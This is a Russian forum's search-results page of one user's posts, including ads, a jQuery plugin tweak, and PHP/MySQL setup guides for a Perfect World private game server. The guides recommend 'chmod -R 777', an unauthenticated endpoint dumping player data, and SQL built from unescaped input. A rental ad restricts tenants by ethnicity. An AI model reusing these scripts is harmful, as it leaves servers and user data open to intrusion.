1. Гость, мы просим Вас ознакомиться с Правилами Форума и Отказом от ответственности!

Результаты поиска

  1. Botchal
    Тема

    Пуниюмор

    http://vk.com/jolan?z=photo137707003_304284958%2Fwall12245389_555
    Автор темы: Botchal, 7 июн 2013, ответов - 22, в разделе: Оффтоп
  2. Botchal
    Здравствуйте! На постоянную работу в офис требуется C# / ASP.NET Программист. Город Санкт-Петербург. Обязанности: Разработка вэб-приложений на ASP.NET, разработка программ на C#. Ходить в офис без опозданий. Хотябы примерно соблюдать оговоренные сроки выполнения (сроки согласовываются с вами) Писать нормально. Проверять ваш код некому, я php программист и занимаюсь другими проектами, но на выходе всё должно работать, в таком ключе. Требования: Возраст: от 19лет Пол: любой Образование: любое Знание IIS 7.5, опыт работы с xml-rpc службами. Иметь паспорт, ТК. Немного знать Английский-Английский, придётся общаться с другими C#'ирами из Лондона по скайпу. Кстати, никто вам не мешает в последствии туда и уехать) Оплата. ИС 1 месяц - 35 000 руб. Далее 50 000 руб. Тел. 8 (911) 923-70-56, Дмитрий.
    Автор темы: Botchal, 6 июн 2013, ответов - 2, в разделе: Архив
  3. Botchal
  4. Botchal
    Код плагина Cloud Zoom, спасибо jsbeautifier.org Если вы используете плагин на странице где есть много изображений, то вам возможно не хочется подгружать сразу все ресайзы, например вот страница http://www.elbambino.ru/dikie_zhivotnye_figurki/ при прокрутке страницы вниз подгружаются товары с изображениями. Во вложении плагин активируется только при наведении на элемент а не на все сразу. Кстати можно посмотреть параметры r.fn.CloudZoom.defaults = { image: "", zoomImage: "", tintColor: "#fff", tintOpacity: 0.5, animationTime: 300, sizePriority: "lens", lensClass: "cloudzoom-lens", lensProportions: "CSS", lensAutoCircle: k, innerZoom: k, galleryEvent: "click", easeTime: 500, zoomSizeMode: "lens", zoomMatchSize: k, zoomPosition: 3, zoomOffsetX: 15, zoomOffsetY: 0, zoomFullSize: k, zoomFlyOut: h, zoomClass: "cloudzoom-zoom", zoomInsideClass: "cloudzoom-zoom-inside", captionSource: "title", captionType: "attr", captionPosition: "top", imageEvent: "click", uriEscapeMethod: k, errorCallback: function () {}, variableMagnification: h, startMagnification: "auto", minMagnification: "auto", maxMagnification: "auto", easing: 2, lazyLoadZoom: k, mouseTriggerEvent: "mousemove", disableZoom: k }; и где они используются в коде
    Автор темы: Botchal, 30 май 2013, ответов - 3, в разделе: Javascript и JQuery
  5. Botchal
  6. Botchal
  7. Botchal
  8. Botchal
    Возможности данного приложения: Мультисерверность (рега для 2ух и более серверов) Регистрация аккаунтов + верификация по мылу Напоминание пароля Смена пароля + верефикация по мылу Реферальная программа Запрос в тех. поддержку Защита от DDoS атак Характеристики: Кроссбраузерность MVC ext/mysqli Ланг-файл Шаблоны AJAX Требования: php 5.1 + php-mysqli включенный apache mod_rewrite и поддержка .htaccess Скрины: [IMG] [IMG] [IMG] [IMG] [IMG] [IMG] [IMG] [IMG] Установка: Загрузить в каталог на сервере данное приложение Настроить config.php Создать 3 таблицы в БД -- ---------------------------- -- Table structure for `mmorpg_devs_register_activation` -- ---------------------------- DROP TABLE IF EXISTS `mmorpg_devs_register_activation`; CREATE TABLE `mmorpg_devs_register_activation` ( `ID` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) NOT NULL DEFAULT '0', `email` varchar(64) NOT NULL DEFAULT '0', `qq` varchar(32) DEFAULT '0', `passwd` varchar(64) DEFAULT '0', `gender` int(1) DEFAULT '0', `gold` int(11) DEFAULT '0', `creatime` datetime NOT NULL, `code` varchar(64) NOT NULL DEFAULT '0', PRIMARY KEY (`ID`), KEY `IX_code` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8; -- ---------------------------- -- Table structure for `mmorpg_devs_register_change_pass` -- ---------------------------- DROP TABLE IF EXISTS `mmorpg_devs_register_change_pass`; CREATE TABLE `mmorpg_devs_register_change_pass` ( `ID` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(32) NOT NULL DEFAULT '0', `email` varchar(64) NOT NULL DEFAULT '0', `qq` varchar(32) DEFAULT '0', `newpasswd` varchar(64) DEFAULT '0', `creatime` datetime NOT NULL, `code` varchar(64) NOT NULL DEFAULT '0', PRIMARY KEY (`ID`), UNIQUE KEY `IX_code` (`code`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8; -- ---------------------------- -- Table structure for `mmorpg_devs_register_ddos` -- ---------------------------- DROP TABLE IF EXISTS `mmorpg_devs_register_ddos`; CREATE TABLE `mmorpg_devs_register_ddos` ( `ID` int(11) NOT NULL AUTO_INCREMENT, `qq` varchar(32) DEFAULT '0', `creatime` int(11) NOT NULL, PRIMARY KEY (`ID`), KEY `qq` (`qq`), KEY `creatime` (`creatime`) ) ENGINE=InnoDB AUTO_INCREMENT=93 DEFAULT CHARSET=utf8; Включить поддержку .htaccess Идём в /etc/apache2/sites-available/default И меняем AllowOverride None на AllowOverride All После этого выполняем команду service apache2 restart Установить mod_rewrite на Apache a2enmod rewrite; ln -s /etc/apache2/mods-available/rewrite.load /etc/apache2/mods-enabled/rewrite.load; apache2ctl restart; service apache2 restart; Установим почтовый сервер apt-get install sendmail; Прописать права на запись на .htaccess и LOGS/ Настройка под себя: /background.jpg - фон /background.jpg.сиськи - альтернативный вариант фона от JoLan /lang.php - Ланг-файл /templates/ - файлы шаблонов страницы и форм /templates/mail/ - шаблоны писем Скачать: //Mr.Fleks [Обновлено от 12.06.2015] Версия 1.0 - Яндекс.Диск (Спасибо mobile) Пароль - http://mmorpg-devs.ru Копипаст на другие форумы - ПРИВЕТСТВУЕТСЯ Глючит рега? Не настроить почтовый сервер? Не понимаете конфиг? Хотите сделать другой дизайн не меняя код? EJIEKTPOH - боч рекомендуэ Установка|настройка почтового сервера - 500-750 руб. Настройка реги - 300-500 руб. Смена шаблона(внешнего вида) - 500-1000 руб. Консультации в подарок.
    Автор темы: Botchal, 27 янв 2013, ответов - 180, в разделе: PW Web
  9. Botchal
    Сдам большую комнату (21 кв метров). Город Санкт-Петербург. Дом новый, метро Старая деревня, карта Требование к жельцу(цам): не алкоголики, русские, ну вобщем нормальные должны быть, можно курящих и с домашними (не гадящими) животными. Можно и с детьми, вобщем немного всёравно, требования маленькие. Фотографии. [img] [img] [img][img] [img] [img] [img] [img] На последней фотографии изображён второй туалет в данный момент используемый как кладовка, собсно он идёт в личное пользование снимающему, я туда и душевую кабинку ставил и серверную делал, по мимо него есть первый санузел (сартир+ванная) Мебель: Два дивана которые типа раскладываются, два кресла, столик маленький, два стула (ноутбук на столике не считается:rolleyes: Цена: 9 000 рублей в месяц + 800-1200 коммуналка, грубо говоря 10 000. Соседи: Добрые хорошие, не пьющие, нормальные. Домашних животных уже нету... (кот умер недавно) Срок: от 6 месяцев, но рассмотрю и меньшие сроки. Кухня: вот тут нечего показать, пол кухни ваши (голая стенка) кухня нормальная 12кв/метров. Звонить: 8(950)036-61-82 либо писать комментарии, тема для меня щепитильная, за любой трололо не побоюсь привысить модераторские полномочия. 
    Автор темы: Botchal, 4 июн 2012, ответов - 13, в разделе: Архив
  10. Botchal
    Решил поделиться альтернативным способом получения информации о персонажах, кланах и городах для топов. Для начала нужно создать 12 таблиц в MySQL у вас на сайте. 6 таблиц основных и 6 временных. Временные таблицы типа MEMORY нужны для быстрого INSERT'a. Ну а с основными вы будете работать из ваших скриптов, так как персонажей может быть очень много рекомендую расставить индексы в основных таблицах, индексы во временных ставить не нужно. SQL код таблиц для вашего сайта. -- -- Структура таблицы `gamedbd2mysql_listcity` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listcity` ( `rid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT '', `fid` int(20) NOT NULL DEFAULT '0', `cls` int(20) NOT NULL DEFAULT '0', `role` int(20) NOT NULL DEFAULT '1', `loyalty` int(20) NOT NULL DEFAULT '0', `nickname` varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (`fid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listcity_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listcity_temp` ( `rid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT '', `fid` int(20) NOT NULL DEFAULT '0', `cls` int(20) NOT NULL DEFAULT '0', `role` int(20) NOT NULL DEFAULT '1', `loyalty` int(20) NOT NULL DEFAULT '0', `nickname` varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (`fid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listfaction` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listfaction` ( `fid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `level` int(20) NOT NULL DEFAULT '0', `masterid` int(20) NOT NULL DEFAULT '0', `masterrole` int(20) NOT NULL DEFAULT '1', `member_size` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`fid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listfactionuser` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listfactionuser` ( `rid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT '', `fid` int(20) NOT NULL DEFAULT '0', `cls` int(20) NOT NULL DEFAULT '0', `role` int(20) NOT NULL DEFAULT '1', `loyalty` int(20) NOT NULL DEFAULT '0', `nickname` varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (`rid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listfactionuser_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listfactionuser_temp` ( `rid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT '', `fid` int(20) NOT NULL DEFAULT '0', `cls` int(20) NOT NULL DEFAULT '0', `role` int(20) NOT NULL DEFAULT '1', `loyalty` int(20) NOT NULL DEFAULT '0', `nickname` varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (`rid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listfaction_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listfaction_temp` ( `fid` int(20) NOT NULL DEFAULT '0', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `level` int(20) NOT NULL DEFAULT '0', `masterid` int(20) NOT NULL DEFAULT '0', `masterrole` int(20) NOT NULL DEFAULT '1', `member_size` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`fid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listrole` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listrole` ( `roleid` int(20) NOT NULL DEFAULT '16', `userid` int(20) NOT NULL DEFAULT '16', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `race` int(20) NOT NULL DEFAULT '0', `occupation` int(20) NOT NULL DEFAULT '0', `gender` int(20) NOT NULL DEFAULT '0', `custom_data_size` int(20) NOT NULL DEFAULT '0', `custom_stamp` int(20) NOT NULL DEFAULT '0', `status` int(20) NOT NULL DEFAULT '1', `delete_time` datetime NOT NULL, `create_time` datetime NOT NULL, `lastlogin_time` datetime NOT NULL, `forbid_size` int(20) NOT NULL DEFAULT '0', `level` int(20) NOT NULL DEFAULT '1', `level2` int(20) NOT NULL DEFAULT '0', `exp` int(20) NOT NULL DEFAULT '0', `sp` int(20) NOT NULL DEFAULT '0', `pp` int(20) NOT NULL DEFAULT '0', `hp` int(20) NOT NULL DEFAULT '75', `mp` int(20) NOT NULL DEFAULT '45', `posx` float NOT NULL DEFAULT '218.3', `posy` float NOT NULL DEFAULT '218.7', `posz` float NOT NULL DEFAULT '2838.3', `worldtag` int(20) NOT NULL DEFAULT '1', `money` int(20) NOT NULL DEFAULT '0', `invader_state` int(20) NOT NULL DEFAULT '0', `invader_time` int(20) NOT NULL DEFAULT '0', `pariah_time` int(20) NOT NULL DEFAULT '0', `factionid` int(20) NOT NULL DEFAULT '0', `factionrole` int(20) NOT NULL DEFAULT '0', `reputation` int(20) NOT NULL DEFAULT '0', `custom_status_size` int(20) NOT NULL DEFAULT '0', `filter_data_size` int(20) NOT NULL DEFAULT '4', `charactermode_size` int(20) NOT NULL DEFAULT '0', `instancekeylist_size` int(20) NOT NULL DEFAULT '708', `dbltime_expire` int(20) NOT NULL DEFAULT '0', `dbltime_mode` int(20) NOT NULL DEFAULT '0', `dbltime_begin` int(20) NOT NULL DEFAULT '1253466000', `dbltime_used` int(20) NOT NULL DEFAULT '0', `dbltime_max` int(20) NOT NULL DEFAULT '28800', `time_used` int(20) NOT NULL DEFAULT '766', `timestamp` int(20) NOT NULL DEFAULT '5', `storesize` int(20) NOT NULL DEFAULT '16', `petcorral_size` int(20) NOT NULL DEFAULT '5', `vitality` int(20) NOT NULL DEFAULT '5', `energy` int(20) NOT NULL DEFAULT '5', `strength` int(20) NOT NULL DEFAULT '5', `agility` int(20) NOT NULL DEFAULT '5', `max_hp` int(20) NOT NULL DEFAULT '75', `max_mp` int(20) NOT NULL DEFAULT '45', `hp_gen` int(20) NOT NULL DEFAULT '3', `mp_gen` int(20) NOT NULL DEFAULT '2', `walk_speed` float NOT NULL DEFAULT '2', `run_speed` float NOT NULL DEFAULT '5', `swim_speed` float NOT NULL DEFAULT '3', `flight_speed` float NOT NULL DEFAULT '5', `attack` int(20) NOT NULL DEFAULT '0', `damage_low` int(20) NOT NULL DEFAULT '1', `damage_high` int(20) NOT NULL DEFAULT '1', `attack_speed` int(20) NOT NULL DEFAULT '16', `attack_range` float NOT NULL DEFAULT '2.5', `damage_low0` int(20) NOT NULL DEFAULT '0', `damage_low1` int(20) NOT NULL DEFAULT '0', `damage_low2` int(20) NOT NULL DEFAULT '0', `damage_low3` int(20) NOT NULL DEFAULT '0', `damage_low4` int(20) NOT NULL DEFAULT '0', `damage_high0` int(20) NOT NULL DEFAULT '0', `damage_high1` int(20) NOT NULL DEFAULT '0', `damage_high2` int(20) NOT NULL DEFAULT '0', `damage_high3` int(20) NOT NULL DEFAULT '0', `damage_high4` int(20) NOT NULL DEFAULT '0', `damage_magic_low` int(20) NOT NULL DEFAULT '1', `damage_magic_high` int(20) NOT NULL DEFAULT '1', `resistance0` int(20) NOT NULL DEFAULT '0', `resistance1` int(20) NOT NULL DEFAULT '0', `resistance2` int(20) NOT NULL DEFAULT '0', `resistance3` int(20) NOT NULL DEFAULT '0', `resistance4` int(20) NOT NULL DEFAULT '0', `defense` int(20) NOT NULL DEFAULT '1', `armor` int(20) NOT NULL DEFAULT '0', `max_ap` int(20) NOT NULL DEFAULT '0', `var_data_size` int(20) NOT NULL DEFAULT '56', `skills_size` int(20) NOT NULL DEFAULT '28', `storehousepasswd_size` int(20) NOT NULL DEFAULT '0', `waypointlist_size` int(20) NOT NULL DEFAULT '2', `coolingtime_size` int(20) NOT NULL DEFAULT '8', `storehouse_money` int(20) NOT NULL DEFAULT '0', `storehouse_size` int(20) NOT NULL DEFAULT '0', `inventory_size` int(20) NOT NULL DEFAULT '0', `equipment_size` int(20) NOT NULL DEFAULT '1', `taskinventory_size` int(20) NOT NULL DEFAULT '0', `task_data_size` int(20) NOT NULL DEFAULT '0', `task_complete_size` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`roleid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listrolebrief` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listrolebrief` ( `roleid` int(20) NOT NULL DEFAULT '16', `userid` int(20) NOT NULL DEFAULT '16', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `occupation` int(20) NOT NULL DEFAULT '0', `level` int(20) NOT NULL DEFAULT '1', `exp` int(20) NOT NULL DEFAULT '0', `moneyall` int(20) NOT NULL DEFAULT '0', `reputation` int(20) NOT NULL DEFAULT '0', `role_yinpiao` int(20) NOT NULL DEFAULT '0', `user_yinpiao` int(20) NOT NULL DEFAULT '0', `updatetime` int(20) NOT NULL DEFAULT '1253784988', `gender` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`roleid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listrolebrief_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listrolebrief_temp` ( `roleid` int(20) NOT NULL DEFAULT '16', `userid` int(20) NOT NULL DEFAULT '16', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `occupation` int(20) NOT NULL DEFAULT '0', `level` int(20) NOT NULL DEFAULT '1', `exp` int(20) NOT NULL DEFAULT '0', `moneyall` int(20) NOT NULL DEFAULT '0', `reputation` int(20) NOT NULL DEFAULT '0', `role_yinpiao` int(20) NOT NULL DEFAULT '0', `user_yinpiao` int(20) NOT NULL DEFAULT '0', `updatetime` int(20) NOT NULL DEFAULT '1253784988', `gender` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`roleid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listrole_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listrole_temp` ( `roleid` int(20) NOT NULL DEFAULT '16', `userid` int(20) NOT NULL DEFAULT '16', `name` varchar(255) NOT NULL DEFAULT 'cls0gender0', `race` int(20) NOT NULL DEFAULT '0', `occupation` int(20) NOT NULL DEFAULT '0', `gender` int(20) NOT NULL DEFAULT '0', `custom_data_size` int(20) NOT NULL DEFAULT '0', `custom_stamp` int(20) NOT NULL DEFAULT '0', `status` int(20) NOT NULL DEFAULT '1', `delete_time` datetime NOT NULL, `create_time` datetime NOT NULL, `lastlogin_time` datetime NOT NULL, `forbid_size` int(20) NOT NULL DEFAULT '0', `level` int(20) NOT NULL DEFAULT '1', `level2` int(20) NOT NULL DEFAULT '0', `exp` int(20) NOT NULL DEFAULT '0', `sp` int(20) NOT NULL DEFAULT '0', `pp` int(20) NOT NULL DEFAULT '0', `hp` int(20) NOT NULL DEFAULT '75', `mp` int(20) NOT NULL DEFAULT '45', `posx` float NOT NULL DEFAULT '218.3', `posy` float NOT NULL DEFAULT '218.7', `posz` float NOT NULL DEFAULT '2838.3', `worldtag` int(20) NOT NULL DEFAULT '1', `money` int(20) NOT NULL DEFAULT '0', `invader_state` int(20) NOT NULL DEFAULT '0', `invader_time` int(20) NOT NULL DEFAULT '0', `pariah_time` int(20) NOT NULL DEFAULT '0', `factionid` int(20) NOT NULL DEFAULT '0', `factionrole` int(20) NOT NULL DEFAULT '0', `reputation` int(20) NOT NULL DEFAULT '0', `custom_status_size` int(20) NOT NULL DEFAULT '0', `filter_data_size` int(20) NOT NULL DEFAULT '4', `charactermode_size` int(20) NOT NULL DEFAULT '0', `instancekeylist_size` int(20) NOT NULL DEFAULT '708', `dbltime_expire` int(20) NOT NULL DEFAULT '0', `dbltime_mode` int(20) NOT NULL DEFAULT '0', `dbltime_begin` int(20) NOT NULL DEFAULT '1253466000', `dbltime_used` int(20) NOT NULL DEFAULT '0', `dbltime_max` int(20) NOT NULL DEFAULT '28800', `time_used` int(20) NOT NULL DEFAULT '766', `timestamp` int(20) NOT NULL DEFAULT '5', `storesize` int(20) NOT NULL DEFAULT '16', `petcorral_size` int(20) NOT NULL DEFAULT '5', `vitality` int(20) NOT NULL DEFAULT '5', `energy` int(20) NOT NULL DEFAULT '5', `strength` int(20) NOT NULL DEFAULT '5', `agility` int(20) NOT NULL DEFAULT '5', `max_hp` int(20) NOT NULL DEFAULT '75', `max_mp` int(20) NOT NULL DEFAULT '45', `hp_gen` int(20) NOT NULL DEFAULT '3', `mp_gen` int(20) NOT NULL DEFAULT '2', `walk_speed` float NOT NULL DEFAULT '2', `run_speed` float NOT NULL DEFAULT '5', `swim_speed` float NOT NULL DEFAULT '3', `flight_speed` float NOT NULL DEFAULT '5', `attack` int(20) NOT NULL DEFAULT '0', `damage_low` int(20) NOT NULL DEFAULT '1', `damage_high` int(20) NOT NULL DEFAULT '1', `attack_speed` int(20) NOT NULL DEFAULT '16', `attack_range` float NOT NULL DEFAULT '2.5', `damage_low0` int(20) NOT NULL DEFAULT '0', `damage_low1` int(20) NOT NULL DEFAULT '0', `damage_low2` int(20) NOT NULL DEFAULT '0', `damage_low3` int(20) NOT NULL DEFAULT '0', `damage_low4` int(20) NOT NULL DEFAULT '0', `damage_high0` int(20) NOT NULL DEFAULT '0', `damage_high1` int(20) NOT NULL DEFAULT '0', `damage_high2` int(20) NOT NULL DEFAULT '0', `damage_high3` int(20) NOT NULL DEFAULT '0', `damage_high4` int(20) NOT NULL DEFAULT '0', `damage_magic_low` int(20) NOT NULL DEFAULT '1', `damage_magic_high` int(20) NOT NULL DEFAULT '1', `resistance0` int(20) NOT NULL DEFAULT '0', `resistance1` int(20) NOT NULL DEFAULT '0', `resistance2` int(20) NOT NULL DEFAULT '0', `resistance3` int(20) NOT NULL DEFAULT '0', `resistance4` int(20) NOT NULL DEFAULT '0', `defense` int(20) NOT NULL DEFAULT '1', `armor` int(20) NOT NULL DEFAULT '0', `max_ap` int(20) NOT NULL DEFAULT '0', `var_data_size` int(20) NOT NULL DEFAULT '56', `skills_size` int(20) NOT NULL DEFAULT '28', `storehousepasswd_size` int(20) NOT NULL DEFAULT '0', `waypointlist_size` int(20) NOT NULL DEFAULT '2', `coolingtime_size` int(20) NOT NULL DEFAULT '8', `storehouse_money` int(20) NOT NULL DEFAULT '0', `storehouse_size` int(20) NOT NULL DEFAULT '0', `inventory_size` int(20) NOT NULL DEFAULT '0', `equipment_size` int(20) NOT NULL DEFAULT '1', `taskinventory_size` int(20) NOT NULL DEFAULT '0', `task_data_size` int(20) NOT NULL DEFAULT '0', `task_complete_size` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`roleid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listuserbrief` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listuserbrief` ( `userid` int(20) NOT NULL DEFAULT '16', `rolelist` int(20) NOT NULL DEFAULT '16', `cash` int(20) NOT NULL DEFAULT '0', `money` int(20) NOT NULL DEFAULT '0', `cash_2` int(20) NOT NULL DEFAULT '1', `cash_add` int(20) NOT NULL DEFAULT '0', `cash_buy` int(20) NOT NULL DEFAULT '0', `cash_sell` int(20) NOT NULL DEFAULT '0', `cash_used` int(20) NOT NULL DEFAULT '0', `cash_used_2` int(20) NOT NULL DEFAULT '0', `add_serial` int(20) NOT NULL DEFAULT '0', `use_serial` int(20) NOT NULL DEFAULT '0', `cash_current` int(20) NOT NULL DEFAULT '0', `exg_logcount` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`userid`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; -- -------------------------------------------------------- -- -- Структура таблицы `gamedbd2mysql_listuserbrief_temp` -- CREATE TABLE IF NOT EXISTS `gamedbd2mysql_listuserbrief_temp` ( `userid` int(20) NOT NULL DEFAULT '16', `rolelist` int(20) NOT NULL DEFAULT '16', `cash` int(20) NOT NULL DEFAULT '0', `money` int(20) NOT NULL DEFAULT '0', `cash_2` int(20) NOT NULL DEFAULT '1', `cash_add` int(20) NOT NULL DEFAULT '0', `cash_buy` int(20) NOT NULL DEFAULT '0', `cash_sell` int(20) NOT NULL DEFAULT '0', `cash_used` int(20) NOT NULL DEFAULT '0', `cash_used_2` int(20) NOT NULL DEFAULT '0', `add_serial` int(20) NOT NULL DEFAULT '0', `use_serial` int(20) NOT NULL DEFAULT '0', `cash_current` int(20) NOT NULL DEFAULT '0', `exg_logcount` int(20) NOT NULL DEFAULT '0', PRIMARY KEY (`userid`) ) ENGINE=MEMORY DEFAULT CHARSET=cp1251; Перенос информации состоит из 2 частей: 1) Выполнение команд gamedbd на игровом сервере 2) Запись полученной информации в MySQL Если коротко всё выглядит так: Crontab у вас на сайте вызывает скрипт который получает информацию от скрипта у вас на сервере и заносит в базу. Для понимания условно назовём их скриптами для сайта и скриптами для сервера. Пример серверного скрипта: <?php if($_GET['db']=="listcity"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listcity"); } if($_GET['db']=="listfaction"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listfaction"); } if($_GET['db']=="listfactionuser"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listfactionuser"); } if($_GET['db']=="listrole"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listrole"); } if($_GET['db']=="listrolebrief"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listrolebrief"); } if($_GET['db']=="listuserbrief"){ passthru("/pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listuserbrief"); } ?> Где /pwserver/gamedbd/ путь до gamedbd от корня сервера. Для проверки наберите в терминале /pwserver/gamedbd/gamedbd /pwserver/gamedbd/gamesys.conf listrole если выдаст - значит правильно. Назовём его server.php, в зависимости от GET параметра скрипт будет выполнять ту или иную команду и выводить полученную информацию. Этот скрипт живёт у вас на сервере с игровым серверов в директории www. Более подробно с командами gamedbd вы можете ознакомиться набрав в Яндексе "gamedbd команды" там ссылка в первых пяти позициях с заголовком - Gamedbd Модуль-игровой-базы-данных всё подробно описано. Для того, чтобы PHP скрипт мог выполнять команды, вам необходимо прописать права на директорию с сервером chmod -R 777 /pwserver/ где /pwserver/ - директория вашего сервера. если сервер живёт в 2 директориях например в PWServer и в home, то прописать как на /home/ так и на /PWServer/ С серверным скриптом разобрались, теперь пример скриптов для сайта, в кронтабе я использую утилиту php5 вместо wget так как wget у меня создаёт побочные файлы, и это никак не убрать. Но через php5 нельзя передать GET параметры, поэтому необходимо для каждой команды сделать отдельный скрипт. php код скриптов для сайта (создать и залить на сайт). В коде изменить 255.255.255.255 на ваш IP-адрес и вписать в $db = new mysqli("", "", "", ""); хост, юзер, пасс, название базы для подключения к MySQL у вас на сайте. Данные скрипты будут брать информацию от скриптов с вашего сервера по средству file_get_contents(), заносить в MySQL данные. listcity.php - для информации о территориях и их владельцах <?php //script by vk.com/botchal $db = new mysqli("хост", "юзер", "пасс", "название базы"); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listcity")); $db->query("TRUNCATE gamedbd2mysql_listcity_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listcity_temp VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listcity_temp WHERE rid='0'"); $db->query("TRUNCATE gamedbd2mysql_listcity"); $db->query("INSERT gamedbd2mysql_listcity SELECT * FROM gamedbd2mysql_listcity_temp"); $db->query("TRUNCATE gamedbd2mysql_listcity_temp"); ?> listfaction.php - инфо о кланах <?php //script by vk.com/botchal $db = new mysqli("", "", "", ""); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listfaction")); $db->query("TRUNCATE gamedbd2mysql_listfaction_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listfaction_temp VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listfaction_temp WHERE fid='0'"); $db->query("TRUNCATE gamedbd2mysql_listfaction"); $db->query("INSERT gamedbd2mysql_listfaction SELECT * FROM gamedbd2mysql_listfaction_temp"); $db->query("TRUNCATE gamedbd2mysql_listfaction_temp"); ?> listfactionuser.php - инфо о мемберах кланов <?php //script by vk.com/botchal $db = new mysqli("", "", "", ""); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listfactionuser")); $db->query("TRUNCATE gamedbd2mysql_listfactionuser_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listfactionuser_temp VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listfactionuser_temp WHERE rid='0'"); $db->query("TRUNCATE gamedbd2mysql_listfactionuser"); $db->query("INSERT gamedbd2mysql_listfactionuser SELECT * FROM gamedbd2mysql_listfactionuser_temp"); $db->query("TRUNCATE gamedbd2mysql_listfactionuser_temp"); ?> listrole.php - персонажи <?php //script by vk.com/botchal $db = new mysqli("", "", "", ""); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listrole")); $db->query("TRUNCATE gamedbd2mysql_listrole_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listrole_temp VALUES ( '".str_replace(",","', '",$str)."' ) "); } $db->query("DELETE FROM gamedbd2mysql_listrole_temp WHERE roleid='0'"); $db->query("TRUNCATE gamedbd2mysql_listrole"); $db->query("INSERT gamedbd2mysql_listrole SELECT * FROM gamedbd2mysql_listrole_temp"); $db->query("TRUNCATE gamedbd2mysql_listrole_temp"); ?> listrolebrief.php - персонажи коротко <?php //script by vk.com/botchal $db = new mysqli("", "", "", ""); $data = explode("\n", file_get_contents("http://255.255.255.255/server.php?db=listrolebrief")); $db->query("TRUNCATE gamedbd2mysql_listrolebrief_temp"); foreach($data as $str){ $str=str_replace(array("\"","\n"), "", $str); $db->query(" INSERT INTO gamedbd2mysql_listrolebrief_temp 